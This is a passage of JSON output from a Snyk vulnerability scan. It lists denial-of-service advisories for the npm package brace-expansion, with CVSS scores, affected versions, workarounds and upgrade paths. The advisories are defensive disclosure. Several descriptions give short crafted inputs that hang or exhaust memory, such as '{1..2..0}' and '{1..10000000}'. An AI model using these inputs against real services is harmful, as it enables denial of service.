"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": 